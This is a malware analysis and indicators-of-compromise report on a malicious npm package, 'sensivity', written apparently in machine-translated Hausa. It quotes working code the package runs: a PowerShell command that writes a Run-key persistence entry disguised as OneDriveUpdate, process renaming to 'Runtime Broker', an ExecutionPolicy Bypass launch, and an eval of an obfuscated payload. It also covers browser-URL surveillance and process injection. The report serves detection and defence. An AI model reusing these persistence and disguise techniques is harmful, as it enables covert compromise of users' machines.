TL, DR
Kunshin npm hankali Yana bayyana kansa a matsayin "Allon Kula da Jin Daɗi." A kan Windows yana aiki azaman kayan aikin sarrafawa daga nesa da sa ido.
Wurin shiga, launcher.js, ya sake sunan tsarinsa zuwa Runtime Broker, ya rubuta ƙimar maɓallin Run-start mai suna autostart OneDriveUpdate wanda ke sake ƙaddamar da kunshin ta hanyar VBScript ɓoyayye, yana haifar da PowerShell tare da -ExecutionPolicy Bypass, sannan ya kimanta nauyin uwar garken da aka ɓoye 171 KB tare da na'urar asali ta 6.87 MB, sens.node.
Yana aiki da kwamitin kula da haɗa waya a tashar TCP 3000 kuma yana karanta adireshin adireshin mai binciken ta hanyar Windows UIAutomation, yana kallon bidiyo ɗaya mai lamba ɗaya na YouTube.
An warware sassa biyu da a baya aka rubuta a matsayin akwatunan baƙi. Sabar da aka ɓoye, server.obf.js, yana amfani da tsarin obfuscator.io RC4 string-array; sake aiwatar da decoder ɗinsa a layi (ba a aiwatar da JavaScript ba) yana dawo da ƙarshen waje guda ɗaya — https://izopi.com/check.php — tare da maɓallan jama'a na RSA da aka saka don tabbatar da amsoshin lasisin da aka sanya hannu.
Tsarin asali, sens.node, ba a cika shi ba: teburin shigo da shi da kuma igiyoyin da aka saka sun gane shi a matsayin DirectX 11 / Dear ImGui overlay a cikin wasan wanda ke ba da aimbot, ESP (wall-hack), da fasalulluka na triggerbot, waɗanda allurar tsari ta nesa da ƙwaƙwalwa ke karantawa/rubutawa ke jagoranta.
Zane-zanen da ke ciki suna nuna abubuwan da ke cikin abin hawa da wuraren taswirar da suka yi daidai da GTA V / FiveM. Kunshin npm shine abin da ke rufe wannan na'urar ta asali.
Siginar da ke bayyana tana aiki, ba ta fasaha ba: wani mai wallafa da ba a san ko waye ba ya tura kusan nau'ikan fakiti guda saba'in - 2.5.0 ta hanyar 2.5.69 - tsawon kwanaki kaɗan, kowannensu yana ɗauke da na'urar harbawa iri ɗaya.
Babu shigarwa hooksKayan aiki yana aiki ne kawai lokacin da aka fara amfani da kunshin.
Harin: Yadda Yake Aiki
Sensivity yana aika fayiloli goma. Package.json ba shi da yawa: babu filin ajiya, babu lasisi, babban laƙabi da bin guda biyu (sensivity, sens) duk suna nuna launcher.js, da kuma rubutun farawa na node launcher.js. Babu shigarwa ko preinstall. Babu wani abu da ke tashi akan shigarwar npm. Halin da aka bayyana a ƙasa yana gudana lokacin da mai amfani ya fara kunshin - ta hanyar bin shim, rubutun farawa, ko buƙatar.
Kwallo mai kama da tarball yana ɗauke da mai ƙaddamar da shirin, uwar garken da aka ɓoye, na asali, rubutun Visual Basic, da kuma kundin adireshi na jama'a/na yanar gizo don kwamitin sarrafawa. launcher.js shine mai tsara shirin da za a iya karantawa; dabarun da ke da mahimmanci a lokacin gudu suna rayuwa ne a cikin ɓangarorin biyu da yake ɗorawa - uwar garken da aka ɓoye da kuma na asali mai tarin bayanai, duka an warware su a ƙasa.
Tsarin ɓoyewa da kuma sabunta OneDrive na bogi
A farkon aiwatarwa, launcher.js yana saita sunan tsarinsa sau biyu:
javascript process.title = 'Runtime Broker'; Runtime Broker tsari ne na Windows (RuntimeBroker.exe) wanda ke daidaita izinin aikace-aikace. Sake suna tsarin Node don ya dace yana nufin duba Task Manager cikin sauri ba zai nuna wani abu na musamman ba.
Ana rubuta juriya ta hanyar PowerShell maimakon API ɗin rajista kai tsaye:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Ana kiran ƙimar farawa ta atomatik OneDriveUpdate, kuma ba ya nuna kai tsaye ga fakitin. Yana nuna wscript.exe yana gudanar da OneDrive.Standalone.Updater.vbs da aka haɗa. Wannan rubutun yana sake ƙaddamar da node launcher.js a cikin taga ɓoyayye. Sunan maɓallin Run-key da sunan fayil ɗin VBScript sun aro alamar Microsoft, don haka shigarwar farawa ta atomatik yana karanta azaman aikin OneDrive na yau da kullun.
PowerShell tare da tsarin aiwatarwa
Mai ƙaddamar da na'urar ta yi ta kai hari ga PowerShell akai-akai. Sink ɗin da na'urar daukar hoto ta nuna a matsayin mai mahimmanci shine ƙaddamar da .ps1 da aka samar tare da an kashe manufar aiwatarwa:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Kewaya Tsarin Zartarwa yana cire duba sa hannun rubutun gida don wannan kiran. Rubutun da aka samar yana kula da aikin sa ido na mai bincike da gano taga da aka bayyana a sashe na gaba.
Sabar da aka ɓoye da kuma tsarin asali
Bayan an gama shigarwa, launcher.js zai loda kuma ya aiwatar da ainihin kayan aikin sa:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js shine 171 KB na _0x-array obfuscation - tsarin JavaScript inda kowane kirtani da mai ganowa ana maye gurbinsu da fihirisa zuwa cikin jerin da aka haɗa, sannan a cire su a lokacin gudu. Tsarin shine bambancin RC4 wanda obfuscator.io ya samar: aikin decoder guda ɗaya base64-yana fassara shigarwar jeri sannan RC4-yana fassara shi da maɓallin kira ɗaya. Sake aiwatar da wannan decoder a cikin wani rubutun daban - yana gudanar da sake aiwatarwa kawai akan jerin kirtani na shigarwa 821 da aka cire, ba JavaScript na kunshin ba - yana warware shi da tsabta. Abin da saman yake da matsakaici amma decisive: URL ɗaya na waje, https://izopi.com/check.php`, an sanya shi ga daidaitaccen LICENSE_URL; RSA PUBLIC_KEY_PEM` da aka saka; hanyoyin kwamitin gida /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, da /trigger/status; da kuma igiyoyin child_process, crypto, da [Sensivity] sens.node da aka ɗora - na ƙarshe shine ainihin layin rajista wanda mai ƙaddamar ya sake rubutawa zuwa module ɗin shirin da aka ɗora. Ƙarshen ma'aunin shine duba lasisi: abokin ciniki yana sanya mai ganowa (sabar da aka ɓoye ta tsara Discord ID: %s string) kuma maɓallin RSA yana tabbatar da martanin da sabar ta sanya hannu.
sens.node wani ƙarin bayani ne na asali wanda aka haɗa da 6.87 MB, kuma ba a cika shi ba - entropy ɗin sashe yana kan 5.6–6.6 kuma teburin shigo da kaya da fitarwa na PE suna nan, don haka ana iya karanta iyawarsa kai tsaye. Yana fitar da napi_register_module_v1, standard Wurin shigar da Node N-API, don haka uwar garken eval'd yana loda shi da buƙata mai sauƙi. Teburin shigo da shi shine bayanin. Daga KERNEL32 yana jawo OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, da Process32First/NextW - saitin canonical don gano wani tsari, ware ƙwaƙwalwa a ciki, da karantawa ko rubuta wannan ƙwaƙwalwar. Daga USER32 yana jawo GetAsyncKeyState, GetKeyState, mouse_event, da SetCursorPos; yana haɗa d3d11.dll, D3DCOMPILER_43, da dwmapi don rufe allo, da cikakken saitin WINHTTP don kiran cibiyar sadarwa. Waƙoƙin da aka saka sunaye a cikin saitin fasalin ba tare da wata matsala ba: Kunna Aimbot, Aimbot FOV, Akwatin ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat da aka gano, da kuma Dear ImGui banner Dear ImGui 1.91.3 WIP. Wuri da igiyoyin halitta kamar Grapeseed Medical Clinic da kalmomin abin hawa-ESP sun yi daidai da GTA V / FiveM.
Rabawar tana aiki ne da gangan: mai launcher.js mai iya karantawa yana ɗauke da sassan da na'urar daukar hoto ke karantawa cikin sauƙi - juriya, ɓoyewa, kiran eval da kanta - yayin da ɓoyewar ke ɓoye ɗaya daga cikin masu karɓar lambobin lokacin aiki, kuma binary yana riƙe da dabarun overlay-game da allurar tsari. Mai ƙaddamar shine siririn harsashi mai iya dubawa; sabar da aka ɓoye tana ɓoye asalin hanyar sadarwa; na asali module shine nauyin da ake buƙata. Muna bayyana shigo da binary da igiyoyin kamar yadda aka karanta; ba ma fahimtar manufar mai aiki daga gare su ba.
Kwamitin sarrafawa na haɗa waya a tashar jiragen ruwa ta 3000
Mai ƙaddamar da na'urar yana sarrafa sabar yanar gizo ta gida akan tashar TCP 3000 kuma yana ɗaukarta a matsayin singleton. Yana neman mai sauraro na yanzu kuma yana share shi kafin a haɗa shi:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Ana iya isa ga allon a http://localhost:3000, tare da URL mai lamba LAN mai lamba mai lamba na http://192.168.1.16:3000. Babban fayil/ da halayen kwamitin sun yi daidai da tsarin haɗin QR: waya tana duba lambar kuma tana ɗaurewa da mai masaukin baki azaman na'urar nesa. Babu wani yanki na umarni da iko na waje da ke bayyana a cikin rubutu mai haske a cikin mai ƙaddamar da shirin - amma, kamar yadda bayanin da ke sama ya nuna, ɗaya yana cikin sabar da aka ɓoye: ƙarshen lasisin izopi.com. Kwamitin da kansa yana cikin gida kuma an tsara shi ta hanyar LAN; mai masaukin waje kawai shine wannan binciken lasisi.
Tsarin mai kula/ma'aikaci mai zaman kansa yana ci gaba da aiki. Mai ƙaddamar da na'urar yana sake buɗewa da tutar yanayin SENSIVITY_SUPERVISOR da SENSIVITY_WORKER, kowane yaro yana ɓoye, don haka kashe tsari ɗaya yana barin mai lura ya sake kunna shi.
Sa ido kan burauza da siginar YouTube
Mafi takamaiman aikin shine sa ido kan burauzar. launcher.js yana gina PowerShell wanda ke tuƙa Windows UIAutomation don karanta sandar adireshin burauzar da ke gudana:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern yana dawo da rubutun da ke cikin wani abu na UI. Ana amfani da shi a cikin sarrafa gyara sandar adireshi na mai bincike, yana dawo da URL ɗin da wanda abin ya shafa ke kallo a halin yanzu - ba tare da tsawaita mai bincike ba, ba tare da taɓa bayanin martaba akan faifai ba, kuma ba tare da haɗa API ba. Rubutun da aka samar yana maimaita jerin $browserNames kuma yana cire URL ko taken taga na duk wani mai bincike da ke gaba.
An gwada wannan URL ɗin akan manufa ɗaya mai lamba ɗaya:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Mai ƙaddamar da shirin yana yin bincike a kan madauki na daƙiƙa uku don taga mai bincike da ke nuna YouTube, kuma PowerShell da aka samar yana ɗauke da nau'in Get-YouTubeBrowser / Test-TargetYouTubeUrl wanda ya dace da wannan ID ɗin bidiyo. Tasirin da za a iya gani sau biyu ne: ana karanta URL ɗin bincike mai aiki daga allon wanda abin ya shafa, kuma ana gano hulɗar mai masaukin baki da takamaiman bidiyon YouTube. Mun bayyana tsarin da abin da aka nufa; ba mu gano wani dalili daga gare su ba.
Karatun sandar adireshi shine abin da na'urar daukar hoton ke yiwa lakabi da sensitive_data_counter - tushen Process::env da UIAutomation wanda ke ciyar da lokacin aiki mai iya aiki a cibiyar sadarwa. Yana da kyau a ware kuma yana warwarewa ne kawai idan an gano zagayowar rayuwar bayanai daga tushen UIAutomation zuwa sabar da aka ɓoye.
Jerin Lokaci da Juyin Halittar Sigar
Ba a cika ɗorawa sau ɗaya ba. Asusun mai wallafa yana da nau'ikan wannan fakitin guda saba'in da aka buga, kuma sababbi sun ci gaba da shigowa a lokacin tagar bita. Mai ƙaddamar da faifan yana haɓaka fasalin fasali ta hanyar fasali a cikin layin 2.5.x yayin da juriyarsa da ɗaukar nauyinsa ke ci gaba da kasancewa a tsaye.
| Kwanan wata (UTC) | An lura da sigar | Yanayin ƙaddamarwa |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Mai ƙaddamar da QR-panel na tushe; juriyar maɓalli; ƙimar sabar da aka ɓoye. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Yanke yatsa iri ɗaya; danne alamar na'ura wasan bidiyo. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | An ƙara abubuwan da aka sanya wa YouTube a matsayin abin da ya fi dacewa wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Sake buga cike gibin a ko'ina; mai kula/mai kula da ma'aikata. |
Karanta mai ƙaddamar a cikin wakilan da aka sauke — 2.5.0, 2.5.36, da 2.5.69 — yana nuna matakai huɗu. Gine-gine na farko suna ɗauke da mai ƙaddamar da QR mai tushe. Daga 2.5.33 mai harba adireshin UIAutomation ya bayyana. Daga 2.5.58 an ƙara wani matakin kula da mai kulawa. Daga 2.5.64 mai kula da mai kulawa/ma'aikaci da aka keɓe yana kammala saitin. A ko'ina, abubuwa huɗu ba sa canzawa: maɓallin OneDriveUpdate Run, mai sauke OneDrive.Standalone.Updater.vbs, mai amfani da eval'd server.obf.js, da kuma na asali na sens.node.
Raƙuman 2026-06-05 abin lura ne domin ya sake buga ƙananan lambobin sigar - 2.5.0 zuwa 2.5.15 - waɗanda ke ƙasa da sigar da aka tabbatar kwanaki da suka gabata. Tasirin layin 2.5.x ne mai layi ɗaya akan rajistar, kowace sigar tana ɗauke da mai ƙaddamar da iri ɗaya.
Alamomin sulhu
An karanta dukkan alamun da ke ƙasa kai tsaye daga fakitin tarball. Mai ƙaddamar da za a iya karantawa yana ɗauke da loopback kawai da adireshin LAN na sirri guda ɗaya; sunan mai masaukin waje guda ɗaya, izopi.com, an dawo da shi ta hanyar deobfuscating server.obf.js offline.
| type | nuna alama | Notes |
|---|---|---|
| Package | npm:sensivity (≈ sigar 70, 2.5.0-2.5.69) | Mai buga fakiti ɗaya; babu wurin ajiya; ba shi da lasisi. |
| fayil | launcher.js | Mai shirya waƙoƙi mai iya karantawa; babban abin da ake nema da kuma kwandon shara. |
| fayil | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, an ɗora ta ta hanyar eval(fs.readFileSync(...)). |
| fayil | sens.node (≈6.87 MB) | PE32+ x86-64 Ƙarin N-API na Node; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| fayil | OneDrive.Standalone.Updater.vbs | Ɓoyayyen sake farawa (node launcher.js). |
| Network | https://izopi.com/check.php | An samo ƙarshen lasisi/authent daga sabar da aka ɓoye; makullin jama'a na RSA da aka saka yana tabbatar da amsoshi. |
| Ƙarfi | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Ikon yin amfani da na'urar sarrafawa daga nesa da kuma karanta/rubuta ƙwaƙwalwa. |
| Ƙarfi | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui game overlay wanda ke aiwatar da fasalin aimbot, ESP, da triggerbot. |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Ƙimar farawa ta atomatik tana nunawa a wscript.exe da kuma mai ƙaddamar da VBScript. |
| tsari | process.title = 'Runtime Broker' | Yana mayar da hankali a matsayin ingantaccen tsarin Windows Runtime Broker. |
| Ƙwararriya | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Ana amfani da hanyar wucewa ta manufofin aiwatarwa don rubutun PowerShell da aka samar. |
| Ƙwararriya | UIAutomation ValuePattern karanta adireshin ma'aunin burauzar | Yana karanta URL ɗin taga mai bincike na gaba. |
| Ƙwararriya | Lambar shaidar bidiyo da aka yi niyya wJWta2lO0Lw; Zaɓen jin ra'ayin jama'a na daƙiƙa 3 a YouTube | Siginar sa ido kan hulɗa da aka haɗa. |
| Network | http://localhost:3000, koma baya http://192.168.1.16:3000 | An fallasa kwamitin kula da QR a gida da kuma a kan LAN. |
| muhalli | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Tutocin daidaita ayyukan sa ido na musamman. |
Haƙƙin mallaka, Tasiri, da Masu Kare
An buga wannan kunshin ta hanyar asusun npm guda ɗaya wanda imel ɗin da aka bayyana adireshin Gmail ne da ba a tabbatar da shi ba. Asusun yana ɗauke da mummunan sakamako na rajista, yana kula da kuma buga wannan kunshin ɗaya kawai, kuma ba shi da ma'ajiyar tushe mai alaƙa. Ba mu tabbatar da mallakar imel ɗin ba kuma mun danganta kamfen ɗin ga asusun mai wallafa, ba ga kowane mutum da aka ambata ba. Mai ƙaddamar da shirin ba shi da kayan aikin rubutu mai haske, amma yanzu an san mai masaukin baki ɗaya na waje: sabar da aka ɓoye tana tuntuɓar izopi.com don duba lasisi, kuma na asali - wanda aka karanta daga teburin shigo da shi da igiyoyi maimakon juyawa umarni-by-umurni - wani abu ne mai rufewa wanda ke shiga cikin kuma karanta ƙwaƙwalwar wani tsari.
Tasirin da za a iya gani yana faruwa ne ga masu amfani da Windows waɗanda ke shigarwa da gudanar da hankali suna tsammanin amfani da panel na sarrafawa. A kan waɗannan rukunin yanar gizon, fakitin yana kafa juriya ta atomatik wanda aka ɓoye a matsayin aikin OneDrive, yana sake suna don kwaikwayon tsarin tsarin, yana karanta URL na duk abin da mai amfani ke bincika, kuma yana tsaye da panel mai haɗawa wanda ke haɗa na'urar zuwa na'urar nesa ta hanyar hanyar sadarwa ta gida. Mai kula da ma'aikata/ma'aikata yana nufin kashe tsari ɗaya ba ya cire shi; shigarwar maɓallin Run-key yana tsira daga sake farawa. macOS da Linux ba a yi niyya ga mai ƙaddamar da su ba - hanyoyin juriya, PowerShell, da UIAutomation na Windows ne kawai.
Juyawar sigar saba'in ita ce yanayin da ya cancanci a yi alama a kai. Sake buga fakiti ɗaya sau da yawa cikin 'yan kwanaki, gami da lambobin sigar da aka cika a ƙasa da waɗanda aka riga aka cire, yana ajiye kwafin kai tsaye akan rajista tsakanin cirewa kuma yana ɓata jerin toshe-kunshe da aka haɗa da sigar. Shigar da jerin toshewa don sensivity@2.5.61 bai yi komai ba game da sensivity@2.5.3 ya sake bugawa washegari.
Masu kare za su iya yin aiki a kan waɗannan abubuwa:
- Toshe ƙarfin sunan fakitin kai tsaye a cikin jerin sunayen da aka yarda da rajista da CI. Raba nau'ikan daban-daban yana ɓatar da ƙarfin sake bugawa; sunan shine alamar da ta daɗe.
- Nemo ƙimar Run mai suna OneDriveUpdate wanda bayanansa ke kiran wscript.exe akan .vbs a cikin hanyar kowane mai amfani. Ba a yi rijistar ainihin sabuntawar OneDrive ta wannan hanyar ba.
- Faɗakarwa game da tsarin Node.js wanda taken process.js shine Runtime Broker.exe. Dillalin gaske shine RuntimeBroker.exe, ba Node runtime ba.
- Yi alamar lokacin shigarwa na npm na fakitin da ke jigilar ƙarin .node da aka haɗa tare da eval(fs.readFileSync(…)) na fayil ɗin ɗan'uwa .obf.js. Wannan haɗin - binary na asali mara haske wanda aka ɗora kusa da nauyin rubutu mai ɓoye - shine bayanin tsari a nan, ba tare da la'akari da kowane igiya na IOC ba.
- Yi wa duk wani mai sauraro da ke kan hanyar sadarwa ta 3000 da aka haifar da wani tsari na Node da ba a zata ba a matsayin wanda ake zargi a kan maƙallan Windows da aka sarrafa.
- Toshe ko sanar da masu buƙatar fita zuwa izopi.com daga masu haɓaka ko masu amfani; shine kawai ƙarshen waje na kunshin, wanda aka isa a /check.php daga sabar da aka ɓoye.
- Ga duk wani ƙarin .node da aka haɗa, duba teburin shigo da shi kafin a amince da shi. Haɗin OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread allurar tsari ce ta nesa ba tare da la'akari da abin da kunshin ya yi iƙirarin yi ba; a nan yana kusa da murfin Direct3D da kuma igiyoyin aimbot/ESP/triggerbot.
Don nazarin-tsaye pipelines, siffar hukuncin tana da ɗorewa a duk faɗin sigar: bayanin martabar shigarwa mara hanyar sadarwa, sanya taken tsari zuwa sunan tsarin da aka sani, rubuta maɓallin Run ta hanyar PowerShell, da kuma kimanta fayil ɗin da aka karanta daga faifai. Babu ɗayan waɗannan da ya dogara da yanki, IP, ko lambar sigar da sake bugawa na gaba zai iya juyawa.
References
[npm: hankali] – shafin rajista don layin sigar fakitin da aka tattauna a nan; ana iya cire shi.
